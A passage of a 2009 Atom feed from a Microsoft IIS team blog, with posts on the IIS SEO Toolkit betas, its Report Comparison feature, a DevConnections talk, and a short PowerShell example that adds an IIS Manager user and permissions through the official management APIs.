&lt;li&gt;Canonical URLs should support sub-domains.&lt;/li&gt;      &lt;li&gt;Several Accessibility fixes. (High DPI, Truncation in small resolutions, Hotkeys, Keyboard navigation, etc).&lt;/li&gt;      &lt;li&gt;Several fixes for Right-To-Left languages. (Layout and UI)&lt;/li&gt;      &lt;li&gt;Help shortcuts enabled.&lt;/li&gt;      &lt;li&gt;New Context Menus for Copying content&lt;/li&gt;      &lt;li&gt;Add link position information for Canonical URLs&lt;/li&gt;      &lt;li&gt;Remove x-javascript validation for this release&lt;/li&gt;      &lt;li&gt;Robots algorithm should be case sensitive&lt;/li&gt;      &lt;li&gt;many more&lt;/li&gt;   &lt;/ol&gt; &lt;/ol&gt;  &lt;p&gt;This version can upgrade both Beta 1 and Beta 2 version so go ahead and &lt;a href="http://go.microsoft.com/?linkid=9695987" target="_blank"&gt;try it&lt;/a&gt; and PLEASE provide us with feedback and any additional things you would like to see for the next version at the &lt;a href="http://forums.iis.net/1162.aspx" target="_blank"&gt;SEO Forum in the IIS Web site&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;&lt;a href="http://go.microsoft.com/?linkid=9695987" target="_blank"&gt;Click here to install the IIS SEO Toolkit&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9923857" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>IIS SEO Toolkit Presentation at DevConnections</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/11/iis-seo-toolkit-presentation-at-devconnections.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/11/iis-seo-toolkit-presentation-at-devconnections.aspx</id><published>2009-11-11T16:41:00Z</published><updated>2009-11-11T16:41:00Z</updated><content type="html">&lt;P&gt;Yesterday I presented the session "AMS04: Boost Your Site’s Search Ranking with the IIS Search Engine Optimization Toolkit" at the ASP.NET Connections, it was fun to talk to a few attendees that had several questions around the tool and SEO in general. It is always really interesting learning about all the unique environments and types of applications that are being built and how the SEO Toolkit can help them.&lt;/P&gt;
&lt;P&gt;&lt;A title="IIS SEO Toolkit slides" href="http://www.carlosag.net/downloads/Aguilar-DevConnections-AMS04-IIS-SEO-Toolkit.zip" mce_href="http://www.carlosag.net/downloads/Aguilar-DevConnections-AMS04-IIS-SEO-Toolkit.zip"&gt;Here are the IIS SEO Toolkit slides that I used&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.iis.net/extensions/SEOToolkit" target=_blank mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;Here you can find the IIS SEO Toolkit download&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;And by far the easiest way to get it installed is using the &lt;A href="http://weblogs.asp.net/scottgu/archive/2009/06/02/microsoft-web-platform-installer.aspx" target=_blank mce_href="http://weblogs.asp.net/scottgu/archive/2009/06/02/microsoft-web-platform-installer.aspx"&gt;Microsoft Web Platform Installer&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;Please send any question and feedback at &lt;A href="http://forums.iis.net/1162.aspx" target=_blank mce_href="http://forums.iis.net/1162.aspx"&gt;IIS SEO Toolkit Forums&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;And by the way, stay tuned for the RTW version of IIS SEO Toolkit coming SOON.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9920889" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>IIS SEO Toolkit – Report Comparison</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/11/iis-seo-toolkit-report-comparison.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/11/iis-seo-toolkit-report-comparison.aspx</id><published>2009-11-11T00:09:00Z</published><updated>2009-11-11T00:09:00Z</updated><content type="html">&lt;P&gt;One of my favorites features in the IIS Search Engine Optimization (SEO) Toolkit is what we called Report Comparison. Report Comparison basically allows you to compare two different versions of the results of crawling the same site to see what changed in between. This is a really convenient way to track not only changes in terms of SEO violations but also to be able to compare any attributes on the pages such as Title, Heading, Description, Links, Violations, etc. &lt;/P&gt;
&lt;H2&gt;How to access the feature&lt;/H2&gt;
&lt;P&gt;There are a couple of ways to get to this feature.&lt;/P&gt;
&lt;P&gt;1) Use the Compare Reports task. While in the Site Analysis Reports listing you can select two reports by using Ctrl+Click, and if both reports are compatible (e.g. they use the same Start URL) the task "Compare Reports" will be shown. Just clicking on that will get you the comparison.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsTask_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsTask_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=CompareReportsTask border=0 alt=CompareReportsTask src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsTask_thumb.png" width=244 height=150 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsTask_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;2) Use the Compare to another report menu item. While in the Dashboard view of a Report you can use the "Report-&amp;gt;Compare To Another Report" menu item which will show a dialog where you can either select an existing report or even start a new analysis to compare with.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsMenu_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsMenu_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=CompareReportsMenu border=0 alt=CompareReportsMenu src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsMenu_thumb.png" width=244 height=151 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareReportsMenu_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;H2&gt;Report Comparison Page&lt;/H2&gt;
&lt;P&gt;In both cases you will get the Report Comparison Page displaying the results as shown in the next image.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareResults_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareResults_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=CompareResults border=0 alt=CompareResults src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareResults_thumb.png" width=244 height=175 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/CompareResults_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;The Report Comparison page includes a couple of "sections" with data. At the very top it includes links showing the Name and the Date when the reports were ran. If you click on them it will open the report directly just as if you had used the Site Analysis report listing view. &lt;/P&gt;
&lt;P&gt;The next sections shows a lot of interesting built-in data such as:&lt;/P&gt;
&lt;TABLE border=0 cellSpacing=0 cellPadding=2 width="100%"&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;&lt;STRONG&gt;Total # of URLs&lt;/STRONG&gt;&lt;/TD&gt;
&lt;TD vAlign=top&gt;This basically shows the total # of URLs found in both versions. When clicking the link you will get the listing of URLs based on the version of the report you choose.&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;New and Removed&lt;/TD&gt;
&lt;TD vAlign=top&gt;These are the number of new URLs that were either added in the new version or removed from the old version. &lt;BR&gt;When clicking the added link you will get the listing of URLs based on the new version of the report and if you click the removed link you will get the listing based on the old URLs.&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;Changed and Unchanged&lt;/TD&gt;
&lt;TD vAlign=top&gt;These are the number of URLs that were modified or not modified. These are calculated by comparing the hashes of the files in both versions. &lt;BR&gt;When clicking the links you will get a query that displays a comparison of both versions of URLs showing their content length. (See below)&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;&lt;STRONG&gt;Total # of Violations&lt;/STRONG&gt;&lt;/TD&gt;
&lt;TD vAlign=top&gt;This shows the total # of violations found in both versions. &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;New in existing pages and Fixed in existing pages&lt;/TD&gt;
&lt;TD vAlign=top&gt;These are the number of violations introduced or removed on URLs that exist in both reports. &lt;BR&gt;When clicking the added link you will get the listing of violations based on the new version of the report and if you click the removed link you will get the listing based on the old violations.&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;Introduced in new pages&lt;/TD&gt;
&lt;TD vAlign=top&gt;These are the number of violations introduced on URLs that are found only in the new report. &lt;BR&gt;When clicking the added link you will get the listing of violations based on the new version of the report.&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;Fixed by page removal&lt;/TD&gt;
&lt;TD vAlign=top&gt;These are the number of violations that were removed due to the fact that their URLs were no longer found in the new report. &lt;BR&gt;When clicking the added link you will get the listing of violations based on the old version of the report.&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top width="30%"&gt;&lt;STRONG&gt;Others&lt;/STRONG&gt;&lt;/TD&gt;
&lt;TD vAlign=top&gt;There are a number of additional reports which basically compare different attributes in URLs that are found in both reports. They compare things like Time Taken, Content Length, Status Code and # of Links. &lt;BR&gt;When clicking the links you will get the query that displays a comparison of both versions of the reports showing the relevant fields. (See below)&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;Whenever you click the links you get a query dialog that you can customize just as any Query in the Query builder, where you can Add/Remove columns, add filters, etc.&lt;/P&gt;
&lt;P&gt;My favorite one is the "Modified URLs" source when you actually can add filters that compare URLs coming from the two different reports.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/QueryDialog_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/QueryDialog_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=QueryDialog border=0 alt=QueryDialog src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/QueryDialog_thumb.png" width=244 height=188 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/QueryDialog_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;Note that when you double click or "right-click –&amp;gt; Compare Details" any of the rows you get a side-by-side comparison of everything in the URL:&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=SideBySideDialog border=0 alt=SideBySideDialog src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog_thumb.png" width=244 height=153 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;Again, you can use any of the tabs to see side-by-side things like the Content of the pages or the Links both versions have or the violations, or pretty much everything that you can see for just one.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog2_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog2_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=SideBySideDialog2 border=0 alt=SideBySideDialog2 src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog2_thumb.png" width=244 height=157 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideDialog2_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;Finally, you can also right click on the Query dialog and choose "Compare Contents". This will launch whatever File Comparison tool you have configured using the "Edit Feature Settings". In this case I have configured WinDiff.exe which shows something like:&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideContents_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideContents_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=SideBySideContents border=0 alt=SideBySideContents src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideContents_thumb.png" width=244 height=165 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitReportComparison_C4D3/SideBySideContents_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;H3&gt;Summary&lt;/H3&gt;
&lt;P&gt;As you can see Report Comparison offers is a powerful feature that allows you to keep track of changes between two different reports. This easily allows you to understand over time how your site has been affected by changes. For Site managers it will allow them to query and maintain a history with all the changes. You can imagine that using an automated build process that runs IIS SEO Toolkit crawling whenever a build is made that keeps the report stored somewhere and potentially annotate it with the build number you could even keep a correlation of changes in code with Web site crawling.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9920523" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>Presenting at ASP.NET Connections in Las Vegas</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/08/presenting-at-asp-net-connections-in-las-vegas.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/08/presenting-at-asp-net-connections-in-las-vegas.aspx</id><published>2009-11-08T01:49:50Z</published><updated>2009-11-08T01:49:50Z</updated><content type="html">&lt;p&gt;Next week I will be presenting at the &lt;a href="http://www.devconnections.com/shows/FALL2009ASP/default.asp?s=135" target="_blank"&gt;ASP.NET Connections event&lt;/a&gt; in Las Vegas the following topics:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;AMS04: Boost Your Site’s Search Ranking with the IIS Search Engine Optimization Toolkit&lt;/strong&gt;: Search engines are just robots, and you have to play by their rules if you want to see your site in the top search results. In this session, you will learn how to leverage the IIS Search Engine Optimizer and other tools to improve your Web site for search engine and user traffic. You will leave this session with a set of tips and tricks that will boost the search rank, performance and consistency of your Web site. &lt;strong&gt;Tuesday 10:00 am.&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;AMS10: Developing and Deploying for the Windows Web App Gallery&lt;/strong&gt;: Come hear how the Microsoft Web Platform fosters a powerful development ecosystem for Web applications, and how the latest wave of IIS extensions enable Web applications to move seamlessly from a development environment to a production datacenter. You will also learn how to package a Web application for the Windows Web App Gallery to make it available to millions of users. &lt;strong&gt;Thursday 8:15 am.&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;I will also be participating in a session called: &amp;quot;Q&amp;amp;A session with Scott Guthrie and the ASP.NET and VWD teams at DevConnections&amp;quot; on Wednesday.&lt;/p&gt;  &lt;p&gt;It should be fun. If you are around stop by the Microsoft Web Platform booth where I will be hanging around the rest of the time trying to answer any questions and getting a chance to learn more about how you use IIS or any problems you might be facing.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9919166" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /></entry><entry><title>Adding IIS Manager Users and Permissions using PowerShell</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/10/23/adding-iis-manager-users-and-permissions-through-powershell.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/10/23/adding-iis-manager-users-and-permissions-through-powershell.aspx</id><published>2009-10-23T20:41:00Z</published><updated>2009-10-23T20:41:00Z</updated><content type="html">&lt;P&gt;Today somebody ask in the IIS.net Forums how could they automate the process of adding IIS Manager Users and their Permissions using a script or a command line and I thought it would be useful to post something that hopefully will be easy to find and refer to. &lt;/P&gt;
&lt;P&gt;One way they found to do it through configuration however they were not getting the password encrypted. &lt;/P&gt;
&lt;P&gt;The first thing that I would like to highlight is that the password is not encrypted, it is actually stored as a hash which means just entering the password in clear text will not work the only way it will work is if&amp;nbsp; you calculate the same hash our current implementation does. &lt;/P&gt;
&lt;P&gt;Having said that manually adding the users is also not a good idea since the IIS Manager functionality is extensible and its storage can be replaced to store the users in SQL Server or any other backend. Our built-in implementation stores them in Administration.config but at any given time someone could have a different &lt;A href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthenticationprovider.aspx" mce_href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthenticationprovider.aspx"&gt;provider&lt;/A&gt; which means your code will not work either.&lt;/P&gt;
&lt;P&gt;So then what is the right way? Well the right way is using existing API’s we surface in &lt;A href="http://msdn.microsoft.com/en-us/library/aa347649.aspx" mce_href="http://msdn.microsoft.com/en-us/library/aa347649.aspx"&gt;Microsoft.Web.Management.dll&lt;/A&gt;, in particular &lt;A href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthentication.aspx" mce_href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthentication.aspx"&gt;Microsoft.Web.Management.Server.ManagementAuthentication&lt;/A&gt; and &lt;A href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthorization.isauthorized.aspx" mce_href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.server.managementauthorization.isauthorized.aspx"&gt;Microsoft.Web.Management.ManagementAuthorization&lt;/A&gt;. Using these API’s will make sure that it will call the right provider and pass the correct arguments ensuring that you do not have to implement or know any details about their implementation. &lt;/P&gt;
&lt;P&gt;These types are really easy to consume from managed code but it does mean you have to write code for it. However the good news is that through PowerShell this gets as simple as it can possibly get.&lt;/P&gt;
&lt;P&gt;So just launch PowerShell (make sure its in elevated as an administrator)&lt;/P&gt;
&lt;P&gt;Here is how you add a user and grant him access for Default Web Site:&lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#000000&gt;[System.Reflection.Assembly]::LoadWithPartialName(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Microsoft.Web.Management"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;[Microsoft.Web.Management.Server.ManagementAuthentication]::CreateUser(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"MyUser"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "ThePassword"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;[Microsoft.Web.Management.Server.ManagementAuthorization]::Grant(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"MyUser"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "Default Web Site"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#2b91af&gt;$FALSE&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt; &lt;/DIV&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9912226" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /></entry><entry><title>IIS Search Engine Optimization (SEO) Toolkit – Announcing Beta 2</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/09/25/iis-search-engine-optimization-seo-toolkit-announcing-beta-2.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/09/25/iis-search-engine-optimization-seo-toolkit-announcing-beta-2.aspx</id><published>2009-09-25T19:00:00Z</published><updated>2009-09-25T19:00:00Z</updated><content type="html">&lt;P&gt;Yesterday we released the Beta 2 version of the &lt;A href="http://www.iis.net/extensions/SEOToolkit" target=_blank mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS Search Engine Optimization (SEO) Toolkit&lt;/A&gt;. This version builds upon &lt;A href="http://blogs.msdn.com/carlosag/archive/2009/06/03/iis-search-engine-optimization-toolkit-beta-1.aspx" target=_blank mce_href="http://blogs.msdn.com/carlosag/archive/2009/06/03/iis-search-engine-optimization-toolkit-beta-1.aspx"&gt;Beta 1&lt;/A&gt; adding a set of new features and several bug fixes reported through the &lt;A href="http://forums.iis.net/1162.aspx" target=_blank mce_href="http://forums.iis.net/1162.aspx"&gt;SEO forum&lt;/A&gt;:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Report Comparison&lt;/STRONG&gt;. Now you have the ability to compare two reports and track a lot of different metrics that changed in between such as New and Removed URLs, Changed and Unchanged URLs, Violations Fixed and new Violations introduced. You can also compare side-by-side the details as well as the contents to see exactly what changed both in markup, headers, or anywhere. This feature will allow you to easily keep track of changes on your Web site. &lt;EM&gt;More on this feature in a future blog&lt;/EM&gt;.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Authentication Support&lt;/STRONG&gt;. Now you can crawl Web sites that have secured content through both Basic and Windows Authentication. This was a feature required to be able to crawl Intranet sites as well as certain staging environments that are protected by credentials.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Extensibility. &lt;/STRONG&gt;&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Developers can now extend the crawling process by providing custom modules that can parse new content types or add new violations.&lt;/LI&gt;
&lt;LI&gt;Developers can also provide additional set of tasks for the User Interface to expose additional features in the Site Analyzer UI as well as the Sitemaps UI.&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Canonical Link Support.&lt;/STRONG&gt; The crawler now understands Canonical Links (rel="canonical") and contains a new set of violations to detect 5 common mistakes such as invalid use, incorrect domains, etc. The User Interface has also been extended to leverage this concept, so you can generate queries using the "Canonical URL" field, and the Sitemaps User Interface has been extended to filter in a better way those URLs that are not Canonical. For more information on canonical links see: &lt;A title=http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx href="http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx" mce_href="http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx"&gt;http://www.bing.com/community/blogs/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx&lt;/A&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Export.&lt;/STRONG&gt; Now there are three new menu items to "Export all Violations", "Export all URLs" and "Export all Links". They get saved in a CSV (comma-separated-value) format that can easily be opened with Excel or any other Spreadsheet program (or even notepad). &lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07" target=_blank mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyID=890cd06b-abf8-4c25-91b2-f8d975cf8c07"&gt;Log Parser&lt;/A&gt; is another tool that can be used to issue SQL queries to it.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Open Source Files and Directories.&lt;/STRONG&gt; To facilitate the fixing of violations now when you crawl the content locally you will get a context menu to open the file or the directory where it is contained in the pre-configured editor with a single click.&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Usability feedback.&lt;/STRONG&gt; We did tons of changes in the User interface to try to simplify workflows and discovery of features based on usability feedback we had.&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Now we have a Start Menu Program to open the feature directly (IIS Search Engine Optimization (SEO) Toolkit).&lt;/LI&gt;
&lt;LI&gt;New Search Engine Optimization Page. Now all the features are surfaced directly from a single page as well as common tasks and the most recently used content within them so that with a single click you get into what you need.&lt;/LI&gt;
&lt;LI&gt;Query Builder updates, better UI for aggregation, auto-suggest for some fields, and better/cleaner display in general.&lt;/LI&gt;
&lt;LI&gt;Automatically start common tasks as part of a workflow.&lt;/LI&gt;
&lt;LI&gt;Less use of Tabs. We learned users felt uncomfortable getting multiple Tabs opened such as when "drilling-down" from a Violations query to see the details. In this version the "drilling-down" happens on a popup dialog to facilitate navigation and preserve context on where you were before. We also kept the option to open them in Tabs by using the "Open Group in New Query" context menu option for those that actually liked that.&lt;/LI&gt;
&lt;LI&gt;Added a new Violations Tag in the details dialog to facilitate fixing page-by-page from the Details Dialog.&lt;/LI&gt;
&lt;LI&gt;New grouping by start time in the reports page.&lt;/LI&gt;
&lt;LI&gt;Many more…&lt;/LI&gt;&lt;/OL&gt;
&lt;LI&gt;&lt;STRONG&gt;Many bug fixes&lt;/STRONG&gt; such as Fixes for CSS parsing (Comments, URL detection, etc), URL Resolution for relative URLs, Remove noise for violations in redirects, better parsing of CSS styles inside HTML, Fixes for HTML to Text conversion, better handling of storage of cached files, fixed format for dates in sitemaps, better bi-directional rendering and Right-to-Left, etc.&lt;/LI&gt;
&lt;LI&gt;Flag status codes 400-600 as broken links.&lt;/LI&gt;
&lt;LI&gt;Robots now can open the robots.txt file and fixed a couple of processing issues.&lt;/LI&gt;
&lt;LI&gt;Sitemaps has better filtering and handling of canonical URLs&lt;/LI&gt;
&lt;LI&gt;&lt;STRONG&gt;Many more&lt;/STRONG&gt;…&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;This version can upgrade Beta 1 version and is fully compatible (i.e. your reports continue to work with the new version) so go ahead and try it and PLEASE provide us with feedback at the &lt;A href="http://forums.iis.net/1162.aspx" target=_blank mce_href="http://forums.iis.net/1162.aspx"&gt;SEO Forum in the IIS Web site&lt;/A&gt;.&lt;/P&gt;
